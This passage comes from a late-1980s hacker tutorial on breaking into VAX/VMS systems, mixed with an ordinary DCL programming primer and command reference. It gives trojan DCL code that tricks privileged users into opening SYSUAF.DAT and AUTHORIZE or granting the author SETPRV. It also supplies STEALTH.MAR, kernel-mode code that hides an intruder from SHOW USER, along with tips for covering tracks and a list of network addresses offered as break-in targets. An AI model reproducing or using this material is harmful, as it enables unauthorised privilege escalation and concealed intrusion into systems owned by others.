! :pcb$b_astact +---------------+ +-------+---+---+ pcb$b_asten ! ! :pcb$l_efc2p :pcb$l_astqfl ! ! +---------------+ +---------------+ ! ! :pcb$l_efc3p :pcb$l_astqbl ! ! +---------------+ +---------------+ ! ! :pcb$l_pid :pcb$l_phypcb ! ! +---------------+ +---------------+ ! ! :pcb$l_phd :pcb$l_owner ! ! +---------------+ +---------------+ ! ! :pcb$t_lname :pcb$l_wsswp ! ! ! ! +---------------+ ! ! :pcb$l_sts ! ! +---------------+ +---------------+ ! ! :pcb$l_jib :pcb$lwtime ! ! +---------------+ +---+---+-------+ ! ! :pcb$q_priv :pcb$b_wefc ! ! ! ! :pcb$w_state ! ! pcb$b_prib +---+---+-------+ +---------------+ :pcb$w_tmbu ! ! ! :pcb$w_aptcnt ! ! :pcb$l_arb +-------+-------+ +---------------+ :pcb$w_ppgcnt ! ! ! :pcb$w_gpgcnt ! ! :pcb$l_uic +-------+-------+ +---------------+ :pcb$w_biocnt ! ! ! :pcb$w_astcnt ! ! :pcb$l_lockqfl +-------+-------+ +---------------+ :pcb$w_diocnt ! ! ! :pcb$w_biolm ! ! :pcb$l_lockqbl +-------+-------+ +---------------+ :pcb$w_prccnt ! ! ! :pcb$w_diolm ! ! :pcb$l_dlckpri +-------+-------+ +---------------+ NOTE: BLOCK 2 is just a continuation of BLOCK 1. The PCB is the Process Control Block which is assigned to each process. It holds all the relevant information for the particular process. The address for the PCB is shown when you execute the SHOW PROCESS <user> from SDA Note that when you are examining memory you can specify addresses in two ways: 1) locationA:locationB -from locationA to locationB 2) locationA;numbytes -from locationA to locationA+numbytes FURTHER HELP ------------ Like I have stressed throughout this file, the best way to learn about VMS is to use the ONLINE HELP that is available on virtually every VAX. You may have also noticed that certain programs such as MAIL have self-contained help which is not seemingly accessible from the normal HELP. So how do you get that information?! Well, all the extra help files for programs such as MAIL, SDA, AUTHORIZE, etc are all stored in the SYS$HELP directory. The only problem is that they are not in very human readable form. To get a properly formatted text output you can use the LIBRARY command. Here is an example that dumps all the help file on SDA into a file called SDA.HLP in your directory: $library/extract=(*)/output=sys$login:sda sys$help:sda.hlb Now to explain this line. The library program will extract the SDA help file (sys$help:sda.hlb) and put it into your login directory (sys$login:sda.hlp). Where I have put the (*), you can alternatively put any number of commands that you may want referenced. The (*) will dump ALL the commands into the help file For example to ONLY get the SHOW command and its qualifiers (for SDA) into a file, you may try something like: $library/extract=(show)/output=sys$login:sda_show sys$help:sda.hlb Since the files generated from this command is standard ASCII, you can read these help files with the TYPE command, ie. $type sys$login:sda.hlp The same method can be utilized for any of the other commands to which you normally do not have access, eg. AUTHORIZE, SDA etc. This way you can learn and understand the command without necessarily having the privilege of reading it in the first place. Of course I recommend that you read both the AUTHORIZE and SDA files since they are probably the most useful files in the bunch. To get a list of the other help files, just do: $dir sys$help:*.hlb Then you can specify any of the listed files in the LIBRARY command. If you create these files, just make sure you delete them, once you are through with using them, especially if they are in someone elses ACTIVE account. TROJAN HORSES ------------- Lets suppose you have done all you can in trying to gain privileges, and you have neither come up with a high level account, or any mechanism of boosting your privs. Now what? Well the following methods I will describe should be able to net you more privileges but there is one small problem. These methods usually involve modifying or creating new files in certain places. If the system manager were to notice such a file, he could simply perform a DIR/OWNER and would know which account someone was hacking on, and he would no doubt change the password or kill the account. Now this is an IF situation. Although theres a good chance you will get away with it, you still have that risk factor that says that you may very well lose this particular VAX. So if this is the only VAX that you have access to, and you are still in the learning process, don't try these techniques. Once you have learned the operating system well enough and feel that you can afford to lose the VAX if worst comes to worse then you can proceed with these time honoured techniques: Ok so what is a trojan horse? Based on the original definitions for such programs, a trojan is simply a file that you have someone execute which performs some arbitrary task unbeknownst to the user. Of course there are the typical trojan programs that go through the logon sequence and try and procure user/password combinations. This is fine, but what about other methods? Its fine for getting more accounts, some which may be possibly privileged, but you still aren't guaranteed to get a good account. So what do you do?! Well, as everyone should know by now, the easiest way to get more privileges is to give them to your user via the AUTHORIZE program. The problem is that on all VAXes, the SYSUAF.DAT file is read/write protected and on some even the AUTHORIZE file itself is protected. The key is to unlock these files, so that they can be accessed through the WORLD protection field. The easiest way to do this is to have a privileged user unwittingly do the dirty deed for you. Here I will describe a few methods of accomplishing such a task. The key here is to find a COM file that the users often use. This could be anything from some simple utility to a full featured DCL program such as ADDUSER.COM. What I usually do is search through the system symbols (SHOW SYMBOL *) and logical table (SHOW LOGICAL) for definitions that are executed via COM files. Often you will find in the symbol table some weird utility like NOTES that everybody executes. Lets assume you have found a prospective program. The next thing to check is to see if you write access to the direcotry in which this file resides. If you have READ access also, then you can simply put in your TROJAN coding right within the main program (after saving the original copy somewhere safe). If you don't have read access, then you can create a program with the same filename. Since your program will have a higher version number, it will get executed instead of the original program. Then you perform your deed and delete the TROJAN and continue on and execute the real COM file. Here is an example, which is a fragment of a DCL routine but can easily be changed to fit inside another routine. $ pre_prvs=f$setprv("setprv") $ if f$privilege("setprv") then goto fix $ @notes.com;55 $ fix: $ set prot sys$system:sysuaf.dat/prot=(w:rwed) $ set prot sys$system:authorize.exe/prot=(w:rwed) $ pre_prvs=f$setprv(pre_prvs) $ @notes.com;55 In this example we have created another file called notes.com;56 in the proper directory. Whenever someone types in NOTES this file gets executed instead of the original. When control is passed here, it checks if the user has SETPRV privilege. If he doesn't, it continues on with the normal program (NOTES.COM;55) If the user has the SETPRV privilege, you have the program change the protection on SYSUAF.DAT and AUTHORIZE.EXE to full World Access. This means that you can now run AUTHORIZE from ANY ACCOUNT no matter how lowly it is!!! Is that awesome or what?! Once the protection has been changed, you can erase the notes.com;56 file and no one will ever know anything happened! Similarly if you modified the actual DCL program, then you just copy back the original. Remember its extremely important to tidy up after yourself once you are done! Here is another example, which you may want to try. First of course you MUST check for the privileges of the user (just like in the above program), then try: $open/write file sys$scratch:adduaf.tmp $write file "$ RUN SYS$SYSTEM:AUTHORIZE" $write file "MODIFY NAME/PRIV=SETPRV" $close file $@sys$scratch:adduaf.tmp/output=sys$scratch:adduaf.dat $del sys$scratch:adduaf.*;* This little patch in the coding will modify your own users privileges and give them SETPRV when the superuser executes this routine. The trick is to hide it within some other program so he doesn't even realize he has done anything! Of course after the routine has been successfully executed, the original coding should be put back. There are many places you can put this routine, including ADDUSER.COM (if you have write access)! That would mean, every time the system manager went to add a new user, he would also boost your privs! HaHa, quite ironic eh?! The farthest thing that he wants to do, and you make him do it without even realizing. Of course you should use your imagination and put this or a similar routine in a place where it will be quickly executed. The longer the code stays around without being execute, the more chance that it will be discovered. An optimum program would be something that the users/operators execute frequently (eg notes, mail, phone etc) Other good places are the LOGIN.COM and SYLOGIN.COM files. Just remember to cover your tracks once you're done!! This is but a brief introduction to Trojans and the like. You should use your own imagination to come up with other ways of making the system operators succumb to your wishes...heh heh. DCL PROGRAMMING --------------- No file would be complete without at least mentioning programming Command Procedures. Basically, these are like BAT files from MS-DOS or script files from UNIX. They form a rudimentary but powerful language that allows you to quickly create small programs to handle most simple tasks. This section is not intended to be a a full blown tutorial on programming in DCL, rather its an introduction to what it is all about. It is quite easy to pick up programming in DCL and the best way to learn is to have a look at some of the COM files you will find on the various VAXes that you hack on. By studying these, you can quickly learn the methods on how to perform certain routines. Below I have listed some of the commonly needed routines when programming in DCL: PASSING PARAMETERS Parameters can be passed to DCL programs directly from the shell in several ways. Here are a few examples: (1) @sample 24 25 When you execute this, the values 24 and 25 are passed to the sample.com file in the variables p1 and p2 respectively. ie p1=24, p2=25 (2) @sample Paul Cramer p1=PAUL, p2=CRAMER (3) @sample "Paul Cramer" p1=Paul, p2=Cramer (4) name= "Paul Cramer" @sample 'name' This example demonstrates the method of passing predefined variables to a command procedure. In this case, p1=PAUL, p2=CRAMER (5) name ="""Paul Cramer""" @sample 'name' Note that passing the variable in three double-quotes preserves the case. p1=Paul, p2=Cramer GETTING INPUT Often it is necessary to get some sort of input from the user when executing a command procedure. This is performed through the INQUIRE command. Some examples follow: (1) INQUIRE variable "prompt" This will display the 'prompt' message and then wait for input. The string passed is kept in 'variable' (2) INQUIRE/NOPUNC variable "prompt" When you specify /NOPUNC, the prompt will NOT be followed by a colon and space as is the default. (3) INQUIRE/LOCAL variable "prompt" INQUIRE/GLOBAL variable "prompt" It should be noted that if you specify /LOCAL, the variable will remain in the local symbol table accessible only by this particular COM file. If on the other hand, you specify /GLOBAL, the variable is placed in the global symbol table and is made accessible to other files. (4) IF pn .eqs. "" THEN INQUIRE pn "prompt" You can use this method to check if a certain variable (pn in this case) is null or not. If it is, you can ask for input. (5) READ/PROMPT="prompt" SYS$COMMAND variable This is another method of getting input. SUPPLY INPUT FOR A PROGRAM Often you may need to create a file and get input from some outside source. Again there are several ways of doing this. Here I will outline three different methods: FROM DATA :- CREATE TEST.DAT data line 1 data line 2 : : etc etc FROM TERMINAL :- DEFINE/USER_MODE SYS$INPUT SYS$COMMAND CREATE TEST.DAT FROM A FILE :- DEFINE/USER_MODE SYS$INPUT TEST.INPUT CREATE TEST.FILE OUTPUTTING INFORMATION In general when outputting information, you should always send it to SYS$OUTPUT What this does is automatically write to whatever the user has defined as SYS$OUTPUT. It doesn't matter what type of terminal or whatever it is, but it will send it in the correct format. Some examples follow: (1) WRITE SYS$OUTPUT "literal text" This will print 'literal text' on your terminal. (2) WRITE SYS$OUTPUT symbol-name This will print on your terminal whatever value is held in symbol-name (3) WRITE SYS$OUTPUT "literal text ''symbol-name' literal text" This example shows how you can mix in normal text with a variable and follow it by more text. (4) TYPE SYS$INPUT this is a sample message that is spread out over several lines. You would use this method whenever there are more than a few lines of text to be printed. WRITING TO A FILE You will find that many times when writing a COMmand procedure you will need to save certain information to a file. This can be accomplished with a routine similar to: OPEN/WRITE FILE TEST.DAT WRITE: INQUIRE DATA "Input Data" IF DATA .EQS. "" THEN GOTO DONE WRITE FILE DATA GOTO WRITE DONE: CLOSE FILE I will give a quick breakdown of what is going on here. First you open the file that you want, including the /WRITE qualifier followed by the filename. This sample program simply inputs data, writes each line to a file and exits when the user hits RETURN on a blank line. Simple but effective text input facility. READING A FILE Once you have written a file, you will often need to read that information back in again. For example you may keep track of when the person last ran the file. Each time the file is run, you would save the time/date to a file, and then read it back in, and display it on each subsequent execution. The sample structure of a read routine would be: OPEN/READ FILE TEST.DAT READ: READ/END_OF_FILE=DONE FILE DATA . . . GOTO READ DONE: CLOSE FILE This routine would loop and keep reading a file, one line at a time, storing the information in DATA until the end of file is detected. CONDITIONAL LOGIC No programming language would be complete without the ability to perform logic. Although it is very simplistic, it provides just enough power to handle most simple conditions. Some examples: (1) IF p1 .EQS. "" THEN GOTO DEFAULT In this example the procedure checks to see if the parameter passed in p1 is NULL or not. If it is then the program branches to DEFAULT (2) IF p1 .NES. 10 THEN GOTO end_label . . . END_LABEL: Here we see that if p1 does not equal 10 then the program branches to END_LABEL, otherwise it continues. (3) COUNT = 0 LOOP: COUNT=COUNT+1 . . . IF COUNT .LE. 10 THEN GOTO LOOP EXIT This example shows how to establish a loop in a command procedure, using the symbol COUNT and an IF statement. The IF statement checks the value of COUNT and performs an EXIT when the value is greater than 10 EXPRESSIONS The data operations and comparisons are listed below in order of precedence beginning with the highest (operations and comparisons grouped together in the table have the same precedence). +--------+---------------------------------------------------------+ Operator Description +--------+---------------------------------------------------------+ + Indicates a positive number - Indicates a negative number +--------+---------------------------------------------------------+ * Multiplies two numbers / Divides two numbers +--------+---------------------------------------------------------+ + (1) Adds two numbers (2) Concatenates two character strings - (1) Subtracts two numbers (2) Subtracts two character strings +--------+---------------------------------------------------------+ .EQS. Tests if two character strings are equal .GES. Tests if first character string is greater than or equal .GTS. Tests if first character string is greater than .LES. Tests if first character string is less than or equal .LTS. Tests if first character string is less than .NES. Tests if two character strings are not equal .EQ. Tests if two numbers are equal .GE. Tests if first number is greater than or equal to .GT. Tests if first number is greater than .LE. Tests if first number is less than or equal to .LT. Tests if first number is less than .NE. Tests if two numbers are not equal +--------+---------------------------------------------------------+ .NOT. Logically negates a number +--------+---------------------------------------------------------+ .AND. Combines two numbers with a logical AND +--------+---------------------------------------------------------+ .OR. Combines two numbers with a logical OR +--------+---------------------------------------------------------+ LEXICAL FUNCTIONS ----------------- That concludes the introduction to DCL programming. One thing that you should keep in mind is that many powerful string editing and environment information commands can be accessed from COM files. These are called the LEXICAL functions There are too numerous to list them all here, so I will just provide a summary of the primary lexical functions and a brief description: LEXICAL DESCRIPTION -------------+------------------------------------------------------------------ f$cvsi !converts character string data (signed value) to an integer f$cvtime !retrieves information about an absolute, combination, or delta time f$cvui !converts character string data (unsigned value) to an integer f$directory !returns the current default directory name string f$edit !edits a character string based on the edits specified f$element !extracts an element from a string in which the elements are !separated by a specified delimiter f$environment!obtains information about the DCL command environment f$extract !extracts a substring from a character string expression f$fao !converts the control string to an ASCII string f$file_attrib!returns attribute information for a specified file f$getdvi !returns parameters for a specified device f$getjpi !returns accounting, status and identification info for a process f$getsyi !returns status and identification information about local or !remote nodes. f$identifer !converts an identifier in named format to its integer equivalent f$integer !returns the integer equivalent of the result of an expression f$locate !locates a character substring within a string and returns its !offset within the string f$logical !translates a logical name and returns the equivalence name string f$message !returns the message text associated with a system status code f$mode !shows the mode in which the process is executing f$parse !parses a file spec and returns either the expanded file spec or !a particular field that you specify f$pid !for each invocation, returns the next PID in sequence f$privilege !returns a value of TRUE or FALSE depending on whether your !process privileges match the privileges listed in the argument f$process !returns the current process name string f$search !searches the directory and returns the full file spec for any file f$setprv !sets the specified privileges and returns the previous state f$string !returns the string equivalent of the result of the specified !expression f$time !returns the data and time of day in format: dd-mm-yy hh:mm:ss.cc f$trnlnm !translates a logical name and returns the equivalent name string f$type !determines the data type of a symbol f$user !returns the current user identification code (UIC) f$verify !set or read current command procedure state -------------+----------------------------------------------------------------- This list just outlines the main lexical functions. Within each function there may be many more subfunctions. If you need help on any of these functions or their subfunctions, just type HELP lexical [lexicalname] at any DCL prompt ($) ERROR MESSAGES -------------- Occasionally when you are using DCL, you will come across error messages that are sent to you by the VAX. Here I will give a break down of what the different fields in the message represent and how to interpret them. First of all, the general format of an error message is: %facility-l-ident, text NOTE: not all messages are ERROR messages. Often it is only an informational message telling you that a certain task was successful or whatever. In any case here is what each field means: facility -this is the name of the facility that produced the error (for example, CLI for the Command Language Interpreter). l -this is a one letter code indicating the severity of the error. The severities are: I - Informational E - Error S - Success F - Severe error W - Warning ident -this is an abbreviation for the message text. text -this is a short description of the nature of the error. Here is an example of an error message, and how to interpret it: %SYSTEM-F-NOCMKRNL, operation requires CMKRNL privilege The percent sign in the beginning tells you it is a system message from the VAX the first field (SYSTEM) indicates that it is a SYSTEM error. The second field (F) shows that it is a severe error. The third field (NOCMKRNL) is a short abbreviation showing that you do not have the CMKRNL privilege, and the actual text is followed giving the error in detail, explaining that you MUST have the CMKRNL privilege to perform that particular command. SAMPLE PROGRAMS --------------- Here I present two sample programs. One is the STEALTH assembly language program that allows you to hide from SHOW USER. The other program is a DCL COM file that allows you to keep track of who is logging on and off. WATCHDOG.COM ------------ Instead of typing the program into the VAX manually, you can just cut this program out in your favorite text editor and save it to a file. Then at the DCL ($) prompt type: $create watchdog.com Then transmit this file over your buffer. After the file is transmitted, hit CTRL-Z. This will bring you back to the DCL prompt. At this point you can now use this file. To enable watchdog, type: $@watchdog Basically I wanted to present a COM file to give you an idea of how one works. I have tried to throw in a lot of the different techniques that you can use from COM files into this one example. In addition to providing you with a good example of how COM files can be manipulated, this program also serves as a valuable utility that you can use to monitor the system that you are on. The idea behind watchdog is to keep track of all the people who are logging in or out of the system. This can be a very handy tool to keep a watch out for system operators etc. The nice thing about this program is that it runs in the background, so that you can continue to do whatever you want. You should note how I go about creating another file (watch.com) from within the main watchdog program. This of course wasn't necessary since I could have put the whole thing into one file and you could just as easily type: spawn/nowait @watchdog, but like I stated earlier, the intention is to give a short tutorial on some of the techniques that you can employ. I have also used several lexicals within the program to give you an idea of how you can use them within your own creations. NOTE: you can terminate WATCHDOG at any time by hitting CTRL-Y, and restart it using: @watchdog ---------------------------------- cut here ----------------------------------- $ !WATCHDOG.COM by ENTITY /CCC! $ !Usage: @watchdog $ ! $ !This handy little utility runs in the background, freeing you to perform $ !other tasks, while at the same time keeping track of who is logging ON or OFF $ !the system. It is a simple demonstration of how powerful DCL programming can $ !be when it is used together with the lexical functions. $ ! $ !CTRL-Y will terminate the WATCHDOG subprocess at any time. The program $ !also automatically terminates when you log off. $ ! $ create watch.com $ deck $ on control_y then goto terminate $ del watch.com;* $ w := write sys$output $ node = f$getsyi("nodename") $ cpu = f$extract(1,3,f$getsyi("node_hwtype")) $ version = f$getsyi("version") $ boot = f$extract(0,17,f$getsyi("boottime")) $ w "WATCHDOG on ''node' VAX-11/''cpu' VMS ''version'" $ w "Up since ''boot' (c) 1989 Entity" $ list = "watch1.dat" $ gosub file_io $ c1 = c $ loop: $ list = "watch2.dat" $ gosub file_io $ c2 = c $ if c1 .eq. c2 then goto loop $ if c2 .gt. c1 then goto newuser $ file = "watch1.dat" $ file2 = "watch2.dat" $ gosub compare $ w "--- ''a' --- ''timelog' " $ goto loop $ newuser: $ file = "watch2.dat" $ file2 = "watch1.dat" $ gosub compare $ w "+++ ''a' +++ ''timelog' " $ goto loop $ ! $ ! Construct a UserList of processes currently logged in $ ! $ file_io: $ c = 0 $ sho users/output = watch.dat $ open/share/read in watch.dat $ open/share/write out 'list' $ read in a $ read in a $ read in a $ lp01: $ read/end_of_file=fin1 in a $ write out a $ c = c + 1 $ goto lp01 $ fin1: $ close in/nolog $ close out/nolog $ purge watch.dat $ purge 'list' $ return $ ! $ ! Get a formatted output of the current TIME and DATE of LOGIN/LOGOUT $ ! $ gettime: $ temp = f$extract(3,3,f$time ())+" "+f$extract(0,2,f$time())+"," $ temp = temp + f$extract(7,4,f$time())+" "+f$extract(12,5,f$time()) $ timelog = f$cvtime("today",,"weekday")+" "+temp $ return $ ! $ ! Compare the Userlist to a previous listing $ ! $ compare: $ open/share/read in 'file' $ lp02: $ read/end_of_file=fin2 in a $ a=f$fao("!12AS",a) $ set message/noid/nofac/notext/nosev $ search 'file2' 'a' $ chk = $severity $ set message/id/sev/fac/text $ if chk .eqs. "1" then goto lp02 $ fin2: $ close in/nolog $ gosub gettime $ c1 = c2 $ copy watch2.dat watch1.dat $ purge watch1.dat $ return $ ! $ ! Terminate process and cleanup. $ ! $ terminate: $ w "USER TERMINATION OF WATCHDOG!" $ set message/nofac/noid/notext/nosev $ del watch*.dat;* $ set message/fac/id/text/sev $ pid = f$getjpi("","PID") $ stop/id='pid' $ eod $ spawn/nowait @watch.com $ exit ---------------------------------- cut here ----------------------------------- NOTE: Notice the little trick that I employ on the 16th line of the DCL file: I have the program delete itself! This can be VERY useful in many applications where you don't want the program lying around after it has been executed once (eg. trojan horses!) STEALTH.MAR ----------- Ok here i present the stealth.mar program. This little assembler beauty lets you hide from the SHOW USER command! Very useful for remaining undetected on VAX/VMS systems. Ok first heres the program: ---------------------------------- cut here ----------------------------------- .library /sys$library:lib.mlb/ .link /sys$system:sys.stb/ $pcbdef .entry no_user,^m<> $cmkrnl_s routin=blast_it ret .entry blast_it,^m<> tstl pcb$l_owner(r4) bneq outta_here bbcc #pcb$v_inter,pcb$l_sts(r4),outta_here clrb pcb$t_terminal(r4) decw g^sys$gw_ijobcnt bisl #pcb$m_noacnt,pcb$l_sts(r4) outta_here: movl #ss$_normal,r0 ret .end no_user ---------------------------------- cut here ----------------------------------- Ok heres the instructions on using it. First create the file stealth.mar on the VAX. This can be accomplished by: $create stealth.mar Then transmit this file through the buffer option in your terminal program. After you finish the transmit, hit CTRL-Z to exit the create file option. At this point you will be put back into DCL. Then perform the following steps: $macro stealth $link /nomap stealth $delete stealth.obj;* $delete stealth.mar;* $run stealth $del stealth.exe;* $show system At this point, your screen will fill up, showing you all the active processes. Make a note of the processes that have the format: "symbiont_xxxx" Look for the last available one, then increase the number by 1. For example if the last symbiont process was "symbiont_0003" then you should type: $set proc/name="symbiont_0004" This will effectively name your process as a printer driver, thereby making it even harder to detect you. Of course you are not safe from the SDA (since it can access memory directly) but it affords quite a bit of protection nonetheless Ok one small note, you require CMKRNL privilege to execute this file (because of the Change To Kernal Mode command in the 5th line of the code). One other point that I want to make is that you should NEVER leave the .MAR or .OBJ file for STEALTH on ANY system! The best thing is to either hide the EXE file in some remote directory or delete it, after you execute it. It doesn't hurt to play it safe! NOTE: a programming note, if you need to access the symbols defined by the system, such as the number of users online etc, you should link the system symbol table to your OBJ file. The actual file is: sys$system:sys.stb DATAPAC VAX LISTING ------------------- Here I provided a partial list of CANADIAN VAXes hooked up on DATAPAC. These have been provided merely as a hacking exercise to get you started, and as such i have not listed any user/password combinations. Some of these have regular defaults, other have variations, and yet others require some thinking and good luck to get in! One small point, since all of these are Canadian I have not bothered to include the DNIC. So if you are calling through lets say telenet and for example if the nua in the listing is 38701020 then to connect to it, use the NUA 0302038701020 (ie add a 03020 to the beginning). All of these VAXes were up and operating at the time of writing... CANADIAN VAX LISTING -------------------- 21700051 66200071 43700018 93800046 76600029 62400061 87400010 91100024 62700151 30400017 33400620 95100160 41500778 88500561 93600010 66700024 70700033 88500100 36700026 87400010 85800778 76150042 36700027 90400156 60500417 56290039 36700581 95100160 64100146 55400127 36700178 91100024 35600330 83500600 39100556 62700056 44200519 49900053 36700211 59600384 44600032 78100120 20500047 60100175 88100073 64700253 85701445 63100131 20500366 69200295 28330324 85701445 44400900 97500075 28361325 63300483 72101099 83400117 28362116 59500120 64700029 95100160 36700140 78100265 71100755 91100024 43700018 21450017 53700306 49700003 54100112 93800393 38700165 63300483 48500127 70700033 24400263 78100651 57100010 43700230 22500019 78100265 45800116 30500037 68100563 78100092 54100013 37200020 CONCLUSION ---------- Ah, that be it! I hope you enjoyed the file and found it informative. As i stated earlier, it was not intended to be an advanced course on VAX hacking, merely an introduction to whet your appetite and lead you on to bigger and better things. Since this file was put together in quite a hurry, i realize that it isn't properly organized, and i am sure i forgot to mention some important things, so i must apologize for that. I also didn't get a chance to verify all of the diagrams and charts I have put in (a lot of it was from memory) but to the best of my knowledge all of this information is correct. One minor point is that some commands may perform a bit differently on different versions of VMS. For example the SHOW USER output that I have described is quite different in version 4.4 from version 5.1 The main ideas that I have described however, apply to all versions of VMS, and you shouldn't have any difficulties. If you have any comments, suggestions, criticisms or even questions, i would be glad to hear from you. You can reach me in several ways. First i can be found on these boards: CCC HQ : (416)/398-3301 User:GUEST, PW:GUEST NODE 13: (416)/756-4545 type !! ,login:LYNX You can also reach me on QSD (France): 33-36-43-15-15, leave mail to ENTITY. If you are calling through a Packet Switching System, then you can reach call the QSD NUA at: 0208057040540. You can also probably find me hanging around on these CHAT systems: TCHH :026245400050570 login: guest ALTGER:026245890040004 login: guest Now before I take off, I would like to thank some people who have made hacking VAX/VMS possible and a helluva lot more fun for me! Disk Weasel - for getting me started into VAX/VMS hacking in the first place! (thanks Catherine for introducing us!) Jetscream - for all the late night hacking sessions clobbering systems! Wonder Warthog- for so freely sharing 5 billion VAX accounts with me. The man with infinite defaults..how does he do it!?...haha The Keeper & Flex Motta- for sharing many a system with me Rod & Scott (SRB tech)- thanks for all the technical help! Cottapin, Piper, Par, Snooty and the rest of the ALTOS gang for all the interesting talks... See ya around! E N T I T Y Corrupt Computing Canada! DCL REFERENCE SECTION --------------------- Rather than provide a DCL dictionary, I thought it would be more appropriate for a beginners file to include a section that separates some of the more useful commands according to function: ------------------------------------------------------------------------------- 1. Submitting batch and print jobs and controlling batch and print queues. ASSIGN/MERGE Moves jobs from one queue to another. ASSIGN/QUEUE Assigns a queue to a device. DEASSIGN/QUEUE Deassigns a queue from a device. DELETE/ENTRY Deletes a job or jobs from a queue. DELETE/QUEUE Deletes a queue and all its jobs. INITIALIZE/QUEUE Creates and initializes a queue. PRINT Places a job in a print queue. SET QUEUE Changes the current status or attributes of a queue. SET QUEUE/ENTRY Changes the attributes of a job. SHOW PRINTER Displays default characteristics defined for a printer. SHOW QUEUE Displays the attributes of the jobs in a queue. START/QUEUE Starts or restarts a queue. STOP/QUEUE Stops a queue. SUBMIT Places a job in a batch queue. SYNCHRONIZE Suspends processing until a specified job completes. ------------------------------------------------------------------------------- 2. Performing operations specific to command procedures. DECK Marks the beginning of a special input stream. DELETE/SYMBOL Deletes one or more names from a symbol table. EOD Marks the end of a special input stream. EXIT Terminates a command procedure. GOTO Transfers control to a label in a command procedure. IF Executes a command only if an expression is true. INQUIRE Requests input and assigns the result to a symbol. ON Specifies an action to perform when a condition occurs. SET CONTROL Controls the use of the CTRL/T and CTRL/Y keys. SET ON Sets error checking on or off. SET RESTART_VALUE Sets the value of a batch job restart symbol. SET VERIFY Displays command input as it is read. SHOW SYMBOL Displays the value of a symbol. WAIT Suspends processing for a specified period of time. OPEN Makes a file available for reading or writing. CLOSE Terminates processing of a file. READ Reads and optionally deletes a record from an open file. WRITE Writes a record to an open file. ------------------------------------------------------------------------------- 3. Communicating with other people using the system. MAIL Sends/reads messages to/from other users. PHONE Permits users to communicate by typing messages to one another's terminal screens. REPLY Displays a message on one or more terminal screens. REQUEST Displays a message on the operator's console. SHOW USERS Lists the interactive users on the system. ------------------------------------------------------------------------------- 4. Create and switch control between user processes. LOGOUT Terminates an interactive terminal session. SET PASSWORD Changes your password. ANALYZE/PROCESS Analyzes a process dump. ATTACH Switches your terminal between SPAWNed processes. CONNECT Connects a physical terminal to a virtual terminal. DISCONNECT Disconnects a physical terminal from a virtual terminal. PRINT Creates a print job. RUN/PROCESS Creates a detached process or subprocess. SET HOST Connects your terminal to another system via DECnet. SHOW NETWORK Displays the nodes you can reach from your system. SPAWN Creates a subprocess with a similar environment. SUBMIT Creates a batch job. ------------------------------------------------------------------------------- 5. Creating and debugging images. ANALYZE/IMAGE Analyzes an image file. ANALYZE/OBJECT Analyzes an object module. DEBUG Invokes the symbolic debugger after a CTRL/Y. DEPOSIT Changes the contents of memory. DIFFERENCES Displays differences in content between two files. DUMP Displays the uninterpreted contents of a file. EDIT Creates (optionally) and edits a file. EXAMINE Displays the contents of memory. LIBRARY Creates or modifies various kinds of libraries. LINK Creates images from object modules. MACRO Creates object modules from macro source programs. MESSAGE Creates object modules from message source programs. PATCH Patches an image. RUN Runs an executable image. SET COMMAND Updates the commands available to the process. ------------------------------------------------------------------------------- 6. Running executable images. CANCEL Cancels a scheduled wakeup request. CONTINUE Resumes execution of an interrupted command. DEBUG Invokes the VAX/VMS debugger after a CTRL/Y. DEPOSIT Changes the contents of memory. EXAMINE Displays the contents of memory. EXIT Terminates execution of an image or command procedure. RUN Runs an image. SET COMMAND Updates the commands available to the process. STOP Abruptly terminates execution of an image, process, or command procedure. ------------------------------------------------------------------------------- 7. Saving and cataloging information on storage devices. APPEND Appends one file to another. COPY Creates a copy of an existing file or files. CREATE Creates a new file. DELETE Deletes a file or files. DIFFERENCES Displays differences in content between two files. DIRECTORY Displays the names of the files in a directory. EDIT Creates (optionally) and edits a file. MERGE Merges sorted files. PRINT Prints the contents of a file. PURGE Deletes old versions of a file or files. RENAME Recatalogs an existing file. SEARCH Locates a character string within a file or files. SORT Sorts the data in a file. TYPE Displays the contents of a file. SET DEFAULT Changes the default device and directory. SHOW DEFAULT Displays the default device and directory. ANALYZE/RMS_FILE Analyzes the internal structure of a file. CONVERT Changes the attributes of a file. CONVERT/RECLAIM Reclaims unused space in an indexed file. CREATE/DIRECTORY Creates a new directory or subdirectory. CREATE/FDL Creates a new file with tailored attributes. DUMP Displays the uninterpreted contents of a file. EDIT/FDL Creates a file definition file. EDIT/SUM Updates a file with multiple files of edit commands. EXCHANGE Reformats files formatted by other operating systems. LIBRARY Creates or modifies various kinds of libraries. RUNOFF Formats one or more documents (text files). SET DIRECTORY Changes the characteristics of a directory. SET FILE Changes the characteristics of a file. SET PROTECTION Changes the protection of a file. SET PROTECT/DEF Changes the default protection given to files. SET RMS_DEFAULT Changes the default block and buffer count values. SHOW PROTECTION Displays the default protection. SHOW QUOTA Displays your quota of space on a disk volume. SHOW RMS_DEFAULT Displays the default block and buffer count values. UNLOCK Closes a file accidentally left open. ------------------------------------------------------------------------------- 8. Using higher-level names in place of device and file names. ASSIGN Equates a logical name to an equivalence string. CREATE/NAME_TABLE Creates a logical name table. DEASSIGN Deletes a logical name. DEFINE Equates a logical name to an equivalence string. SHOW LOGICAL Displays logical names and their equivalencies. SHOW TRANSLATION Displays a logical name and its first equivalence. ------------------------------------------------------------------------------- 9. Using physical devices. ALLOCATE Allocates a device for your exclusive use. DEALLOCATE Releases an allocated device for general use. DISMOUNT Makes a storage device unavailable for processing. INITIALIZE Formats a storage device. MOUNT Makes a storage device available for processing. ANALYZE/DISK Checks the readability and validity of disks. ANALYZE/ERROR_LOG Displays the contents of the system error log. ANALYZE/MEDIA Analyzes the format of a storage device. BACKUP Saves or restores files from storage devices. SET CARD_READER Sets the translation mode for a card reader. SET DEVICE Sets device characteristics. SET MAGTAPE Sets magnetic tape device characteristics. SET PRINTER Sets line printer characteristics. SET PROTECT/DEV Sets protection on a non-files device. SET VOLUME Sets mounted volume characteristics. SHOW DEVICES Displays the status of devices. SHOW ERROR Displays device error counts. SHOW MAGTAPE Displays magnetic tape characteristics. SHOW PRINTER Displays line printer characteristics. ------------------------------------------------------------------------------- 10. Monitoring, maintaining, tuning, and trouble-shooting the system. ACCOUNTING Collects, records, and reports accounting information. ANALYZE/CRASH Analyzes a system dump. ANALYZE/DISK Checks the readability and validity of disks. ANALYZE/ERROR_LOG Displays the contents of the system error log. ANALYZE/MEDIA Analyzes the format of a storage device. ANALYZE/RMS_FILE Analyzes the internal structure of a file. ANALYZE/SYSTEM Analyzes the running system. BACKUP Saves or restores files from storage devices. MONITOR Displays performance information on the running system. REPLY Displays a message on one or more terminal screens. REQUEST Displays a message on the operator's console. SET ACCOUNTING 